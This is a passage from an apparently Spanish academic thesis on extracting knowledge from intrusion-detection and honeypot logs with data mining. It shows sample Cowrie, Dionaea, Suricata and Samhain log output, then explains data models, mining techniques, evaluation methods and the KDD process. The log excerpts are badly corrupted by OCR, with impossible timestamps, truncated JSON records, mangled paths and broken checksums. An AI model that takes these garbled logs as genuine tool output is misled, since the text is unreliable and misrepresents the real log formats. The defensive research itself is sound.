8 2019-09-03T17:25:42.0581552 [cowrie.ssh.factory.CowrieSSHFactory#info] Starting factory <cowrie.ssh.factory.CowrieSSHFactory ob?
9 2015-09-03T17:25:42.154408Z [-] Ready to accept SSH connections
10 2019-09-03T17:25:46.8241082 [cowrie.ssh.factory.CowrieSSHFactory] New connection: 127.0.0.1:40756 (127.0.0.1:2222) [session: 00%
11 2019-09-03T17:25:46.837735%Z [HoneyPotSSHTransport,0,127.0.0.1] connection lost
12 2019-09-03T17:25:46.8391022 [HoneyPotSSHTransport,0,127.0.0.1] Connection lost after 0 seconds
13 2019-09-03T17:25:55.282402% [cowrie.ssh.factory.CowrieSSHFactory] New connection: 127.0.0.1:41830 (127.0.0.1:2222) [session: 3b:
14  2019-09-03T17:25:55.290142% [HoneyPotSSHTransport,1,127.0.0.1] connection lost
5 2019-09-03T17:25:55.291022% [HoneyPotSSHTransport,1,127.0.0.1] Connection lost after 0 seconds
16
Registro Cowrie 1
. . . .z
Por desgracia, no ha habido suerte con esta herramienta y en esta ocasion
. . . . s
no ha sido posible recoger informacion.
e Dionaea
- .
Nuevamente, al tratarse de un honeypot aqui veremos recogida tanto
. . s . . . .,
informacion de intentos de acceso, como de la propia interaccion del
atacante. Dionaea ofrece diferentes emulaciones por lo que se ha de filtrar
s .. .
para ver qué servicios han sido atacados.
14022019 19:08:38] connection fhome /cowrie /dionaea src/connection.c: 227-debug: fip ['fe Inode '[fe80::8690:e421:6b3a:803d%wla. . i
14022019 19:08:38] connection fhome fcowrie fdionaea/src/connection.c: 763-debug: [connection_set_nonblocking ? 7 7
14022019 19:08:38] incident fhome fcowrie fdionaea/srcfincident.c: 396-debug: reporting 0x1a72068 7 7
14022019 19:08:38] incident /home/cowrie/dionaea/src/fincident.c:385-debug:  incident 0x1a72068  (dionaea.connect...?
14022019 19:08:38] incident /home/cowrie /dionaea/src/incident.c: 180-debug:  |con: (ptr) 0x1a9d250 ?
14022019 19:08:38] connection | /home/cowrie /dionaea/src/connection. c: 268-debug: |connection_bind lcon 0x1a9d8c0 addr
14022019 19:08:38] connection fhome /cowrie fdionaea/src/connection.c: 384-debug: |connection_listen \con 0x 1a9d8c0 len
14022019 13:08:38] connection fhome /cowrie fdionaea/src/connection.c: 188-debug: bind_local icon Ox1a9d8c0 ?
14022019 13:08:38] connection fhome /cowrie /dionaea/src/connection. c: 204-debug: bind_local socket 34 e 21:6b3a:803d:27017
14022019 19:08:38] connection fhome /cowrie /dionaea src/connection.c: 227-debug: ip 'fe inode '[fe80::8690:e421:6b3a:803d%wla. .. ¢
[14022019 19:08:38] connection fhome fcowrie fdionaea/src/connection.c: 763-debug: [connection_set_nonblocking ? 7 7
[14022019 19:08:38] incident fhome fcowrie fdionaea/srcfincident.c:396-debug: reporting 0x 1a9c200 7 7
[14022019 19:08:38] incident fhome fcowrie fdionaea/srcfincident.c: 385-debug: inddent 0x1a9c200 dionaea.connect...|?
[14022019 19:08:38] incident fhome/cowrie /dionaea/src/incident.c: 180-debug:  |con: (ptr) 0x1a9d8c0 ?
[14022019 19:08:38] potp /dionaea/pptp/pptp.py:73-warning: No |config jprovided. Using
[14022019 19:08:38] connection fhome /cowrie fdionaea/src/connection.c: 268-debug: [connection_bind \con 0x 1a9df30 addr
[14022019 19:08:38] connection fhome /cowrie [di -/connection.c: : |connection_listen \con Ox 139df30 len
[14022019 19:08:38] connection fhome fcowrie fdi -Jconnection.c: 188-debug: bind_local icon Ox1a9df30 ?
[14022019 19:08:38] connection fhome /ci fdic -Jeconnection.c: 204-debug: bind_local isocket 35 i 21:6b3a:803d: 1723
[14022019 19:08:38] connection fhome fcowrie /dionaea/src/connection.c: 227-debug: |ip 'fe80::8690:... node '[fe80::8690:e421:6b3a:803d%wla... |
[14022019 19:08:38] connection fhome/c fdic -Jconnection.c: 763-debug: jconnection_set_nonblocking ? ? ?
[14022019  19:08:38] incident fhome/c fdi incident.c:396-debug: _freporting Ox1a%ha98 |7 ?
[14022019 19:08:38] incident /home/c i Jfincident.c:385-debug: |incident 0x1a%a%8 |dionaea.connect...|?
[14022019 19:08:38] incident fhome /e i ) .:180-debug:  jcon: (ptr) 0x1a9df30 ?
fiannnas o s P —y -

Registro Dionaea 1

En este caso si hemos tenido mas suerte ya que, se ha registrado actividad

en tres de los servicios, MySQLD, MSSQL y UPNP. Estos registros seran

explicados en el Anexo 3 para posteriormente crear el modelo de los datos.
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e Suricata
{"Limestamp":"2019-07-23T06: -438133+0200","flow_id": "in_iface":"wlan0" "event_ type" :"m","srciip":"IQZ. .165","src_pt
{"Limestamp":"2019-07-23T06 -438636+0200" ,"flow_id" wlan0", "event type":" .165","src_pt
{"Limestamp":"2019-07-23T06 .460789+0200" ,"flow_id" wlan0","event type": .1","src_por
{"Limestamp":"2019-07-23T06 .460789+0200" ,"flow_id" wlan0","event type": .1","src_por
{"timestamp":"2019-07-23T06 .461882+0200" ,"flow id" 1","src_por
{"timestamp":"2019-07-23T06 .000110+0200" ,"flow_id" | 21,"dest i)
{"timestamp" :"2019-07-23T06 -000592+0200", "event_type" "stats":{"uptime ,"kernel drops™:
{"Limestamp":"2019-07-23T06 .312645+02CIU","flo‘d_id‘ ,"in_iface":' lanU“,"event type":";;;","src ip":"192.168.0. nS","SrC_]
{"Limestamp":"2019-07-23T06 .000100+0200","flow_id": ,"event_type":"flow", "src_ip":"92.119.160.250","src_port":41808,"dest
{"Limestamp":"2019-07-23T06 -000305+0200", "event_type" "stats":{"uptime "kernel packets":17336 "kernel drops™:(
{"Limestamp":"2019-07-23T06 .000162+0200","flow _id": "event_type 92.119.160.250","src port": ,"dest
{"Limestamp":"2019-07-23T06 .000147+0200" ,"flow_id": ,"event_type 92.119.160.250","src_port":4 "dest7
{"timestamp":"2019-07-23T06 .00030340200", "event_type tats": {"uptime "kernel packets": "kernel drops H
{"timestamp":"2019-07-23T06 .000214+0200", "event_type" tats": {"uptime "kernel packets" ,"kernel drops":0
{"Limestamp" :"2019-07-23T06 -000090+0200","flow_id": 08,"event_type 92.119.160.251", "src_port":41740,"dest _.
{"Limestamp":"2019-07-23T06 -000275+40200", "event_type":"stats" "Stats" :{"uptime "kernel packets" ,"kernel drops™:
{"Limestamp":"2019-07-23T06 .000224+0200","event_type":"stats","stats":{"uptime "kernel packets" ,"kernel drops™:
{"Limestamp":"2019-07-23T06 .000122+0200","flow_id": 31,"event_type" ,"dest_i)
{"Limestamp":"2019-07-23T06: -000222+0200", "event_type" "Stats" :{"uptime "Capture" {" kernelipackets" N kernelidraps" H
{"Limestamp”: "2019-07-23706:27:06.887168+0200" ,"flow_id":: in i " Mevent_type":"alert,"src_ip":"125.91.208.242%,"s
{"Limestamp": "2019-07-23T06: .000122+40200","flow_id" i"flow","src ip":"125.91.208.242" "src port™:64266,"dest
{"timestamp":"2019-07-23T06: .099779+0200", "flow_id" ", "event type":"alert","src ip":"125.91.208.242","sr.
{"timestamp":"2019-07-23T06 .000244+0200", "sevent_type" ":{"kernel packets" 6,"kernel drops":(
{"fimestamp”:"2019-07-23T06:27:12.000088+0200", "£low_id" "flow", "src_ip":"£e80:0000:0000:0000:0405: £16¢:85d7:1ba
{"Limestamp":"2019-07-23T06: : .CIUUB3U+02CIU","flo‘d_id“: a flo‘d“,"src_ip 192.168.0.166","src_port":5353 ,“dest_ip‘
{"Limestamp":"2019-07-23T06: : .000234+0200","event_type":"stats", "stats":{"uptime "kernel packets":1 "kernel drops":
{"Limestamp":"2019-07-23T06:27:25.000254+0200" , "event_type":"stats" "Stats"' {"uptime {"kernel packets":1 ,"kernel drops™:(
{"Limestamp": "2019-07-23T06:27:33.000107+0200","flow_id": 513 2 flow","src_ip 92.119.160.251","sr Ort": 1740,"dest_.
{"Limestamp": "2019-07-23T06:27:33.000821+0200", "event_t, tats"' ("uptlme 722 ,"capture "kernel packets":1013 "kerne 7drop5"
{"timestamp":"2019-07-23T06:27:35.000106+0200", "flow_id" ,"event_type":"flow","src_ip" "221.4.163.82","5:(:7}:0:1:" 5
{"timestamp":"2019-07-23T06:27:36.000091+0200", "flow_id" "flow","src_ip":"92.119.160.251","src_port": -
(Mt imestamnT - "9010-N7-2ATNA-27-41 ONNRINENINN" "event tuns'- 730 Meantnra®- {Mrernel nackets"-10134 "kernel drane®-

Registro Suricata 1

En este caso veremos informacion relacionada con los paquetes que han

llegado al equipo. Estos informes nos ofrecen como informacién desde algo

tan basico como la fecha, hora, IP y el puerto como algo mas especifico

como a que flujo de datos pertenece o por cual interfaz vino.

e Samhain
CRIT [201%-09-08T06:581: 23+ M3g=<POLICY [ReadOnly] C-——--——--TS>,
CBO07D297. B6E4B31D0FD
CRIT 1 msg=<POLICY [ReadOnly] C-------TS»,
D72B047DCE3BB3L
CRIT [201%-08 1 11594201.1;1 [ReadOnly] C----—---T->,

2AF16687C9062

¥ [ReadOnly] C—-—--T5>,

1 ILsgAGOLIu

[ReadOnly] C—-—--TS>,
SRAD3F2 E98394C353CC2932E02F
CRIT 0 1 Jpsg—@ollu [ReadOnly] C-—-----TS>,
815C60E6E! JSE"'F]MPCA‘:B
CRIT : [2019-09-0BT06: 3 1 m3g=<POLICY [ReadOnly] C-—-----TS>,
EE"JE3EF4=L‘E:5L104 27405 F17AE331F35CE
CRIT 1 msg=<POLICY [ReadOnly] C-------TS>,
4F11190D1 864DADCSCB5A4BO1TR
CRIT 1 msg=<POLICY [ReadOnly] C-—-———-T->,
036903BC 4E3B6BEROBEEGI1SA
] msg=<POLICY [Readonly] C-—--——--TS>,
F43BD22E79FD4
1 mSg=<POLICY [ReadOnly] C-—--——--TS>,
EF2ERT2BE4RBBOR
] msg=<POLICY [ReadOnly] C-—-——--TS>,

[
DF9TA0T] E.CIAAL"“I:E? 4B43RR340

EB30DFS701D44

path=</etc/s

/rules/emerging-deleted. rules>, size 0ld=<1272940>, size new=<129594%>, ctime old=<[201%-08-

path=</etc/s /rules/dshigld.rules>, size 0ld=<2652>, size new=<2649>, ctime old=<[2019-09-06T04:26:14]>,

path=</etc/g) /rules/BSD-License.fxf>, ctime 0ld=<[2018-02-21T05:26:16]>, ctime new=<[2019-09-08T04:27:2€]

path=</etc/suri 77560>, ctime old=<[2019-03-06T04:26:1¢

path=</etc/g /rules/emerging-current events.rules>, size old=<1563184>, size new=<1542541>, ctime old=<[:

path=</etc/s /rules/emerging-exploit.rules>, size o0ld=<445105>, new=<445571>, ctime 0ld=<[2019-08-2¢

/rules/ciammy.rules>, size 01d=<109795>, size new 48>, ctime 01d=<[2019-09-06T04:26:14]

/rules/emerging-web_client.rules>, size old=<298525>, size new=<302089>, ctime 0ld=<[2018-0¢
path=</etc/s) /rules/compromised.rules>, ctime old=<[201%-09-06T04:26:14]1>, ctime new=<[2019-09-08T04:27::

path=</etc/g /rules/potce.rules>, size old=<134270>, size new=<133234>, ctime o0ld=<[2019-09-06T04:26:14]:

path=</etc/g /rules/compromised-ips.LxL>, size old=<174€1>, size new=<17545>, ctime_old=<[2019-09-06T04:1

path=</etc/syricata/rules/tor.rules>, siz5_01d=<525E65>, size_ns'r—<5]34£2>, ET.L'ﬂe_ﬂlCl:(:2[‘]3{3{61‘[4‘25‘14]%

Registro Samhain 1

En estos registros se lleva un recuento de los archivos a vigilar (se han de

definir en el archivo de configuracion). Entre la informacion disponible se

nos muestra su ruta, su tamafo y

modificado).

su firma (la cual cambia si el archivo es
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019-09-08T04:27:26]>, chksum 01d=<24158305R42524DF2824BD2DA5266FA3R034818335F97EAS>, chksum new=<1BECSFDEC3B97542R00A9209F62DAT704C6ECI665B8518253>,
:26]>, chksum 0ld=<6C0593809388F12E32C6846ARB21654C310EEECSF871387F>, chksum new=<CABS1ESFDIF19DD5D53ESCA4COET08327FCBS51AC2FI0BES3>,
DDACB433CB96744392CD4B57982595CE672>, chksum new=<A15B3826AD7DACE369C50588D6D284C401BE78FTAR4BOED2>,

4:27:26]>, chksum_old=<5A0DBEEEA03940DFC4066FDOCE4465B8AFEEEF05169C81BC>, chksum new=<197E383EB0469B122C332881FD23D7E7B3B8C2B58EDBD363>,
new=<[2019-09-08T04:27:26]>, chksum 0ld=<1DD043104E2E20F19A4115B0B4F2EA4RT62R4FB2361EACCE>, chksum new=<ADO05B0937B1F20086CBE2CT71F1EEF086D29D8164865C5CA>,
9-09-08T04:27:26]>, chksum o0ld=<33D870CDAFCAE$5A15114C3D37E376FD484234864A0D0B13>, chksum new=<311DBB5C69131E0247A82A11D730CA2353F33BCB20BS0ET 8>,
:27:26]>, chksum_old=<E7E6B35C0061596CDE3E1E2FEFAGF8FADS4EBE6GFB064C948>, chksum new=<4ABES86FDFOF02578FD4BF3BBOC2ACD546D3B7F61BCBTFCS>,
2019-09-08T04:27:26]1>, chksum 01d=<04889654A85C111D12COBES74COF540DAAT471430C93%D23>, chksum new=<DC6F65BA58235F164ACABD16CTFBEGA22FT60C3AB1957694>,
CECE1844602561575D3E2EDB614FCAACT2A50>, chksum_new=<0EBBCD15447C1151C94A3B320A6ARCAZRE34TC24B3BF52CA>,

27:26]1>, chksum_old=<3DA7810ES2E3B6768RD13ECF792DD6CI1SF5F19180D02E04>, chksum_new=<1B93F525635D2F3F0911529097A947EE1938502DDEAE1FEB>,
08T04:27:26]>, chksum 0ld=<1E063C0A8B12999C70DEDTES464D08B34195FBAF3EBBA34C>, chksum new=<1F5AETD327483C72987TF46FEE666C27144BEIC2DTCF5838E>,

:26]1>, chksum 0ld=<0365A7772850BDE4C2C4286B289DEYB3A54C9359B3D31244>, chksum new=<9A2EB3538D79B161B79DF3AR2F97DF0459FB4 9F6BEFE129R>,

—-09-08T04:27:26]>, chksum 0ld=<CCTEE121ED2505058ACB042892R1DFAECDESE4ESFCCIADES>, chksum new=<0919C50CCTASS8DOAIEDC4180D4135A9A5D4876E627CFOFF2>,

Registro Samhain 2
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3. Estudio de algoritmos y procedimiento
En la siguiente seccion daremos un acercamiento tedrico mas profundizado
en el tema para a continuacion definir los procedimientos a seguir para
realizar nuestra tarea de mineria de datos. Esto ayudara a tener claro que

herramienta es la mas adecuada para este trabajo.

3.1 Introduccién

3.1.1 Modelos de datos

El objetivo de la mineria de datos es la extraccion de informacion para crear
patrones para ayudar en futuras tomas de decisiones, a estos patrones se
les llama modelos. Se diferencian entre si por las técnicas usadas para

definirlos. Hay principalmente dos tipos:

e Predictivos: Pretenden estimar valores futuros o desconocidos de
variables de interés denominadas variables objetivo o dependientes,
para ello se valen de otro tipo de variables (o campos de la BBDD)
variables independientes o predictivas (en resumen, las variables
cuyo valor ya tenemos).

o Tareas que producen modelos de datos predictivos:
clasificacion, regresion, etc.

e Descriptivos: Identifican patrones para explicar o resumir los datos.

o Tareas que producen modelos de datos descriptivos:

agrupamiento, reglas de asociacion, analisis correlacional, etc.

3.1.2 Etapas de extraccion del conocimiento
3.1.2.1 Preparacion de datos
1. Fase de integracién y recopilacion de los datos: Determina las
fuentes de informacion, como de utiles son y de donde conseguirlas.
En esta fase también se transforman los datos a un formato comun

(pues pueden seleccionarse distintas fuentes y cada una puede
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tener una forma diferente de representar los datos) para facilitar su

posterior procesamiento.

2. Fase de seleccion, limpieza y transformacion: En esta fase se
eliminan o corrigen los datos incorrectos y se decide que se va a
hacer con los incompletos. También se seleccionan aspectos o
atributos relevantes con el objetivo de facilitar la tarea de mineria. La
seleccion esta formada por dos cribas una horizontal, para los
registros, y otra vertical, para los atributos.

3. Construccioén de atributos: Se forman nuevos atributos realizando
alguna operacion o funcién sobre algun atributo ya existente. La
motivacion para esto es que, en ocasiones, los atributos actuales no
son suficientemente atiles (no tienen suficiente poder predictivo por
si solos o los patrones dependen de variaciones lineales de las
variables originales).

Adicionalmente también se puede modificar en algunos tipos de
datos, lo cual nos permite ahorrar en memoria y en procesamiento,
por ejemplo:

e Numerizar atributos. Por ejemplo, los tipos de casa (0 para chalet, 1
para casa de una planta, etc.).

e Discretizar atributos continuos. Por ejemplo, juntando una cantidad

amplia de datos en grupos, como el peso de una poblacion.

3.1.2.2 Mineria de datos
Aqui se decide qué acciones se van a tomar (clasificar, seleccionar...) y los

meétodos que se van a utilizar para la creacion de uno o varios modelos.

Es en esta fase donde se produce el conocimiento que va a ser usado por
el usuario. Es decir, donde se crean los modelos con los datos tratados de

los pasos previos.

Un modelo es una descripcion de patrones y relaciones entre los datos que
pueden usarse para realizar predicciones, entender mejor los datos, o para

explicar situaciones pasadas.

Para empezar a crear un modelo se ha de tener en cuenta lo siguiente:
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e Eltipo de tarea de mineria mas apropiada.

e Eltipo de modelo.
e El algoritmo de mineria que resuelva la tarea y obtenga el tipo de

modelo que estamos buscando.

3.1.2.3 Evaluacion
Esta fase tiene como objetivo evaluar los patrones creados. Tras este punto
se podria volver a atras para solucionar posibles conflictos que hayan
sucedido durante la evaluacion de los patrones. Los patrones desarrollados

han de cumplir en cierta medida algunos puntos, por lo que han de ser:

e Precisos.
e Comprensibles.

¢ Interesantes, es decir, Utiles para el propésito e interesantes.

3.1.24 Difusion y uso de modelos
Se hace uso del conocimiento adquirido y se hace participe a los usuarios

involucrados.

3.1.3 Tareas de la mineria de datos
e Predictivas

En las tareas predictivas, se persigue averiguar uno o mas valores
para cada ejemplo de entrada. Estos valores vienen en forma de
salida, ya sea una clase, una categoria, un valor numérico o un orden
de salida. Estas tareas se clasifican en funcion de la correspondencia
de ejemplos y sus valores de salida, asi como en funcién de la
presentacion de los ejemplos. Algunas de estas tareas son:

o Clasificacion

o Categorizacion

o Preferencias (o priorizacion)

o Regresion.

e Descriptivas
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El objetivo de las tareas descriptivas consiste en definir los ejemplos

ya existentes en lugar de averiguar ejemplos nuevos. Algunas de las
tareas enfocadas a la descripcion de ejemplos son:

o Agrupamiento (o clustering).

o Correlaciones y factorizaciones.

o Reglas de asociacion.

o Dependencias funcionales.

3.1.4 Técnicas de mineria de datos
e Conceptos estadisticos: Un ejemplo de técnica estadistica seria la
propia funcién de regresion, la cual toma la siguiente forma
y=CoXo+CiX1+...+CnXn, Siendo y la variable dependiente y xn los
atributos predictores. Los atributos pueden ser modificados, por
ejemplo formado estos parte de una funcion y siendo el resultado de
esta el atributo de la variable de regresién, en este caso estariamos
hablando de una regresion no lineal. Pueden hacer uso de variables
locales y predictivas. Las técnicas estadisticas también son utiles

para tareas de agrupamiento.

20 T0 T 20 30 a0 so e0

Ejemplo de regresion lineal 1

e Métodos basados en nucleo: La idea es basarse en funciones
lineales discriminantes (para separar en grupos) para separar los
ejemplos fronterizos de los distintos grupos o clases. Un ejemplo de
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este tipo de métodos son los discriminantes basados en vectores de

soporte

"
-~
-
=

Ejemplo de vector de soporte 1

e Arboles de decisiéon: Conjunto de decisiones o condiciones
organizadas de manera jerarquica. Su avance tiene un paso en plan
“‘divide y venceras”, ya que parte el espacio de decisiones en
subconjuntos. Esta técnica es apta para las tareas de clasificacion,
agrupamiento y regresion.

Los arboles pueden tener dos tipos de variables:
o Categoricas para arboles de clasificacion.

o Continuas para arboles de regresion.
Se representa mediante:

o Nodos internos: variables.

o Arcos: posibles valores de un nodo (arco que emana de un nodo
interno).

o Nodos hojas: prediccion final.

Pueden considerarse como una forma de aprendizaje de reglas, ya que,
puede interpretarse que el camino de nodos internos es la serie de

condiciones que forman una regla y el nodo hoja la resolucién de la misma.
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Partes del arbol

Nodo de Alternativas Nodo Ramas de

Decision de decision de azar | estado Resultados
| \ \

Ejemplo de arbol de decisién 1

e Induccién de reglas: Conjunto de métodos para derivar en reglas
del tipo:
o Sicond1Ycond2Y .... Y condn ENTONCES prediccion.

Pueden parecer arboles de decision pero se diferencian de estos en:

o Sus reglas son independientes y no tienen por qué formas un
arbol.

o Las reglas generadas no tienen por qué cumplir todas las
soluciones posibles.

o Algunas reglas pueden entrar en conflicto en sus predicciones.
Se recomienda un valor de confianza a cada regla, de modo
que, se elijan las reglas en las que mas confianza se tenga.

e Técnicas de conteo y soporte minimo: Método de obtencién de
reglas. El paso previo a la obtencion de una regla puede ser la
comparacion, o bien, de un atributo suyo con sus posibles valores
(condiciones proposicionales), o la comparacion de varios atributos
(condiciones de primer orden).

e Redes neuronales artificiales: Permite realizar modelos de
problemas complejos en los que puede haber interacciones no

lineales entre las variables. Surge como método de aprendizaje cuya
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finalidad inicial era emular la capacidad humana de procesar

informacion.
Las tareas a las que se le puede aplicar esta técnica son: regresion,
clasificacion y agrupamiento.
Se representa mediante un grafo dirigido en el que los nodos son los
elementos del proceso y los arcos sus interconexiones.
Surge como método de aprendizaje cuya finalidad inicial era emular la
capacidad humana para procesar la informacion.
La organizacion general suele dividirse en:

o Enla capa de entrada cada nodo es una variable independiente
a examinar.

o La capa oculta esta formada por nodos internos, que estan
formados por funciones que realizan un efecto sobre los datos
gue entran en él.

o La capa de salida la forman los nodos hoja que almacenan
posibles valores de las variables objetivo.

o Cada arco de conexion tiene un peso, el cual se estima

mediante métodos de entrenamiento.
RED NEURONAL:

Capsz Capa de:
ENTRADAS: ochita: salida; | SALIDAS:

) - () N

Ejemplo de red neuronal 1

Aprendizaje basado en instancias o casos: Parte de tener varias
instancias almacenadas. La idea es la de relacionar las instancias
nuevas con las que ya hay, de esta manera se estima el valor de la

instancia nueva. Esta técnica necesita de otra que genere las
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primeras instancias. Se utiliza un método de distancia para medir la

similitud entre la instancia nueva y aquella con la que se compara (a
menor instancia mas parecida). Util para tipos de datos “no
estandar”, como un texto.

e Algoritmos evolutivos: Método de busqueda en un espacio de
soluciones. En este método las soluciones se mezclan y se
comparan entre si de modo que contindan las mas optimas. Se
representa mediante:

o Cromosomas: la representacion de un individuo (solucion).

o Genes: las variables de cada individuo.

Individue genotipo fitness

Lvalu.amon de X1 100100 1296 Seleccion de
la descendencia - 010010 324 Progenitores
X3 010110 484
X4 000001 1

@‘ o
\E@m ——

Nueva poblacion Reproduccion

de descendientes (T Sruwion (LTI

Esquema algoritmo evolutivo 1

Las tareas que se pueden llevar a cabo con esta técnica son el
agrupamiento, la clasificacion, las reglas de asociacion y la seleccion de

atributos.

Este método puede usarse para guiar otros algoritmos de mineria de

datos.

Normalmente se empieza con una solucioén inicial y a partir de aqui, de

manera iterativa, se van generando el resto de soluciones.
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Métodos de evaluacién de modelos

A continuacion, describiremos algunos métodos de evaluacion de modelos

segun la tarea con la que fueron creados:

3.2

Clasificacion: Se mide con respecto a su precision predictiva, que
es el nimero de instancias del conjunto de pruebas clasificadas
correctamente entre el nUmero total del conjunto de pruebas.
Reglas de asociacién: Las reglas son evaluadas por separado. La
idea es priorizar en aquellas que puedan usarse en un mayor numero
de instancias y ademas tengan una precision alta operando con
ellas. Se basa en dos criterios:

o Cobertura (o soporte): nimero de instancias a las que la regla
se aplica y predice correctamente.

o Confianza: proporcion de instancias que la regla predice
correctamente, esto es, la cobertura entre el nimero de
instancias a las que se puede aplicar la regla.

Regresion: Se evalla mediante un valor numérico, una forma
habitual es mediante el error cuadratico medio del valor predicho
respecto al valor que se usa como validacion.

Agrupamiento: Se formaliza la cohesion y separacion entre grupos.
Un ejemplo, es medir la distancia media entre los elementos de un
grupo y el centro de este entre la distancia media de todos los grupos
y su centro. En estos modelos podemos atender a dos criterios: la

distancia (por ejemplo, al centro) y la densidad de un grupo.

Metodologia para la mineria de datos.

Para el estudio de los datos nos guiaremos mediante la metodologia KDD,

la cual engloba al propio proceso de mineria de datos. Usaremos esa

metodologia para los ejemplos practicos que vendran mas adelante.

Este proceso consta de los siguientes pasos:

1. Abstraccion del escenario
2. Seleccion de datos
3. Limpiezay procesamiento de los datos
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4. Mineria de datos
4.1. Seleccion de la tarea
4.2.Seleccion y aplicacion de los algoritmos
5. Evaluacion e interpretacion
6. Entendimiento del conocimiento

Estos pasos seran explicados mas en detalle en las secciones siguientes a

modo de introduccion en la materia previa al caso préactico.

3.2.1 Fases de la mineria de datos
A continuacion definiremos brevemente en que consiste cada una y que

procedimiento aplicaremos a este problema en particular y por qué.

3.2.1.1 Abstraccion del escenario

Antes de empezar se ha de tener claro que pretendemos sacar de los
registros, para ello aparte de la idea clara de que buscamos necesitamos
un conocimiento base. La idea de esto es tener algo con lo que definir una

bdsqueda e interpretar a posteriori los resultados de la misma.

3.2.1.2 Integracion y recopilacion
Definicion: Comprensién del domino de aplicacion del problema e

identificacion del conocimiento a priori

La primera duda que se nos plantea es si vamos a realizar el analisis
directamente sobre los archivos con la informacion o si lo vamos a hacer al
margen del sistema que genera la informacion. Tanto por cuestiones de
eficiencia (no queremos sobrecargar nuestro IDS) como de seguridad el

analisis de la informacion se hara aparte.

3.2.1.3 Seleccion de datos, limpieza y transformacion

Seleccion de datos

Debido a que cada herramienta pertenece a un tipo diferente de IDS es
indispensable identificar las variables que permitan relacionar facilmente
los registros de todas las herramientas, tanto para realizar analisis de un
ataque a distintas escalas (primera fase de red, segunda fase honeypot),
como de la misma (por ejemplo gracias a IDS del mismo tipo, por ejemplo

de red, pero con funcionalidades de deteccion distintas).
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A priori, algunos de estos atributos relevantes para relacionar estos

registros a priori distintos son:

e Direccién IP del atacante

e Puerto atacado

e Comandos utilizados

¢ Intentos de logueo (pares usuario contrasefia)
e Fechay hora

Limpieza

A menudo durante la recogida de datos, se suelen producir situaciones que
pongan en duda la calidad de los datos, esto pasa cuando se producen
datos andmalos (recogidos correctamente pero poco frecuentes) o cuando
se producen datos erroneos (algun tipo de ruido) o faltantes (en el caso de
que se haya ocultado la informacion relativa a alguna variable). Para segun

qué tipo de casos podemos tomas unas medidas u otras.

Algunas de las medidas que podremos tomar para no comprometer la

calidad de los datos son:

e Reemplazar o ignorar en el caso de datos faltantes en las variables,
si y solo si, el resto de las variables de una tupla la hacen facilmente
relacionable con el resto de tuplas que se estén analizando.

e Filtrar, tanto en el caso de los datos anémalos como en el caso de
los datos erréneos si no se les consigue relacionar con las tuplas del
caso analizado.

Transformacion

Para el tema de la transformaciéon, puede sernos Uutil extraer nuevas
variables a raiz de otras ya existentes, por ejemplo, el puerto al que va
dirigido el trafico y los comandos utilizados pueden darnos una pista de que
se intenta hacer (puerto 22 y una gran cantidad de intentos de logueo
pueden darnos a entender que hay un ataque de diccionario o de fuerza
bruta).
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3.2.1.4 Exploracion y seleccion

Exploracion

Lo primero que se ha de hacer a la hora de explorar los datos obtenidos en
los pasos anteriores es un reconocimiento, hay dos aspectos a tener en

cuenta a la hora de realizar el reconocimiento:

e El dominio y los usuarios, es decir, el conocimiento previo que nos
da cierta perspectiva sobre que buscamos y que medidas utilizar
(como modelos antiguos a modo de referencia), y el personal al que
va dirigida la informacion (relevante para saber en qué formato han
de ser mostrados los datos). Esta fase esta centrada en esclarecer
que tareas y métodos vamos a utilizar a continuacion.

¢ Reconocimiento y exploracién de los datos, la idea aqui es obtener
una vista “minable” de los datos de cara a la propia fase de mineria
de datos. Para esta parte es fundamental conocer el dominio y los
usuarios a los que va dirigida la informacion final.

Lo siguiente a tener en cuenta es que representacion es adecuada para la
exploraciéon de los datos. El objetivo de estas representaciones es la
sugerencia de tareas para mineria de datos o la visualizacién de patrones.

Consta de dos fases:

e Visualizacion previa: enfocada en la comprension de los datos y la
percepcién de patrones.

e Visualizacion posterior: para mostrar los patrones y facilitar su
comprension.

En este apartado podemos utilizar graficas multidimensionales para
representar los datos. Con este tipo de representacién podemos observar
algunas tendencias, como que tipo de maquinas son mas atacadas, que

protocolos suelen ser objeto de ataques, etc,...

El siguiente apartado pasa por la creacion de una ‘vista minable’. Hay
principalmente dos razones para esto, la primera, es que hay diversas
maneras de concatenar tablas en funcion de la informacién que se pretenda
buscar, por lo que, si queremos definir objetivos o tareas de manera
concreta debemos concretar qué datos y de que tablas vamos a obtener

informacion. La segunda razén es que la mayoria de los métodos de
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mineria de datos operan sobre una tabla, asi que definirla correctamente

nos facilita el trabajo.

Para realizar esta vista minable podemos valernos de las siguientes

operaciones:

Resumen (Summarization) (o0 agregacion): Permite resumir los
datos, permitiendo calcular valores derivados de los originales
relacionando los datos de las diversas tablas (En un ejemplo similar
al nuestro, podriamos asociar que dispositivos tendrian mas
probabilidad de recibir un tipo de ataque u otro). Una accion adicional
en esta operacion es la discriminacion de grupos tras la agregacion.
Generalizacién: Consiste en la simplificacion de los datos, en un
contexto concreto. Para ello se necesita de cierta informacion
adicional que de forma a tal contexto. Ej.: Podemos generalizar algun
ataque basandonos en el flujo de datos que llega a nuestra maquina.
Pivotamiento: Consiste en intercambiar las filas por las columnas.
Puede ser realmente util en el caso de que queramos hacer un
analisis concreto sobre el valor de algunas variables concretas y
tengamos una cantidad de registros enorme. En caso de
herramientas de asociacion puede no ser realmente necesario el uso
de esta operacion o incluso entorpecerlo.

Seleccioén

Esta seccidn se centra en qué atributos y cuantas instancias vamos a

necesitar para realizar la mineria de datos. Realmente vamos a evaluar la

necesidad de que atributos considerar y cuantas y cuales grupos de

instancias vamos a necesitar.

Entre los tipos de muestreo tenemos los siguientes:

Muestreo Aleatorio Simple: Asigna una misma probabilidad de
extraccidon a todas las instancias. Este muestreo puede hacerse sin
reemplazamiento (asignando un namero aleatorio a cada instancia y
ordenandolos con ese valor y cogiendo los “n” elementos que nos
plazcan) o con él (igual al anterior pero estableciendo un limite entre
1y m, siendo m el total de instancias).

Muestreo Aleatorio Estratificado: Aqui se ha de dividir las
instancias en estratos o grupos (division para la cual hace falta un
conocimiento previo para estipular correctamente que va en cada
grupo). Las técnicas con y sin reemplazo también pueden aplicarse
agui, teniendo en cuenta que los grupos son una variable adicional.

50 | 131



Alejandro Cruz Fernandez De Moya Extraccion de conocimiento en

registros de anomalias e
intrusiones mediante mineria de
datos

Muestreo de Grupos: Similar al anterior, la particularidad de este
muestreo es el de descartar los grupos que creamos puedan afectar
a la calidad de los datos.
Muestreo Exhaustivo: Similar al muestreo estratificado. Aqui la
idea es la siguiente, se genera un valor dentro de un intervalo (si son
atributos nominales habra que normalizarlos primero), con esto
